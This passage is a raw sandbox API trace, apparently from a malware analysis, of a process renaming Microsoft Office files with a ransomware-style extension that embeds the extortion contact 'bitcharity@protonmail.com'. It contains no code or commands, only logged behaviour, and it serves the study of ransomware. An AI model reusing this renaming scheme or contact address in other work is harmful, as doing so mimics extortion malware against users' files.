lpNewFilePointer=0x0) returned 1 [0271.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGAD.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgad.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.243] CloseHandle (hObject=0x1114) returned 1 [0271.245] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.245] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGATNGET.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgatnget.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.245] CloseHandle (hObject=0x1114) returned 1 [0271.246] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.246] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGBARBLL.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgbarbll.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.246] CloseHandle (hObject=0x1114) returned 1 [0271.247] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.247] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGBORDER.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgborder.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.248] CloseHandle (hObject=0x1114) returned 1 [0271.249] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.249] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGBOXES.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgboxes.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.249] CloseHandle (hObject=0x1114) returned 1 [0271.251] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.251] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGCAL.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgcal.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.251] CloseHandle (hObject=0x1114) returned 1 [0271.252] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.252] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGCHKBRD.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgchkbrd.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.253] CloseHandle (hObject=0x1114) returned 1 [0271.254] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.254] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGCINFO.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgcinfo.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.254] CloseHandle (hObject=0x1114) returned 1 [0271.255] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.255] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGCOUPON.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgcoupon.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.256] CloseHandle (hObject=0x1114) returned 1 [0271.257] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.257] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGDOTS.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgdots.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.257] CloseHandle (hObject=0x1114) returned 1 [0271.258] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.258] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGHEADING.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgheading.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.258] CloseHandle (hObject=0x1114) returned 1 [0271.259] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.259] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGLINACC.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dglinacc.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.260] CloseHandle (hObject=0x1114) returned 1 [0271.261] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.261] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGLOGO.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dglogo.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.261] CloseHandle (hObject=0x1114) returned 1 [0271.263] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.263] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGMAIN.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgmain.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.387] CloseHandle (hObject=0x1114) returned 1 [0272.466] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.467] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGMARQ.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgmarq.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.467] CloseHandle (hObject=0x1278) returned 1 [0272.676] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.676] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LETTHEAD.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\letthead.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.676] CloseHandle (hObject=0x128c) returned 1 [0272.677] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.677] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\NEWS.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\news.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.677] CloseHandle (hObject=0x128c) returned 1 [0272.677] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.678] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\POSTCARD.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\postcard.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.678] CloseHandle (hObject=0x128c) returned 1 [0272.678] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.678] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PROGRAM.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\program.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.679] CloseHandle (hObject=0x128c) returned 1 [0272.679] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.679] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\QP.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\qp.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.679] CloseHandle (hObject=0x128c) returned 1 [0272.680] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.680] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\RESUME.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\resume.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.680] CloseHandle (hObject=0x128c) returned 1 [0272.681] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.681] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\SIGN.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\sign.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.681] CloseHandle (hObject=0x128c) returned 1 [0272.682] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.682] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WEBPAGE.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\webpage.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.683] CloseHandle (hObject=0x128c) returned 1 [0272.683] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.683] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WITHCOMP.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\withcomp.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.683] CloseHandle (hObject=0x128c) returned 1 [0272.684] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.684] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WORDREP.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\wordrep.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.684] CloseHandle (hObject=0x128c) returned 1 [0272.685] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.685] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\REMINDER.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\reminder.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.685] CloseHandle (hObject=0x128c) returned 1 [0272.686] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.686] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SAMPLES\\SOLVSAMP.XLS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\samples\\solvsamp.xls.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.686] CloseHandle (hObject=0x128c) returned 1 [0272.687] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.687] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\system.windows.controls.theming.toolkit.zip.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.687] CloseHandle (hObject=0x128c) returned 1 [0272.688] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.688] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vbs2excl.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.688] CloseHandle (hObject=0x128c) returned 1 [0272.689] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.689] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vbs2word.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.689] CloseHandle (hObject=0x128c) returned 1 [0272.690] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.690] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDGPLAN.DWG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bldgplan.dwg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.690] CloseHandle (hObject=0x128c) returned 1 [0272.691] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.691] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDGPLAN.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bldgplan.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.691] CloseHandle (hObject=0x128c) returned 1 [0272.693] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.693] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCKS.DWG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\blocks.dwg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 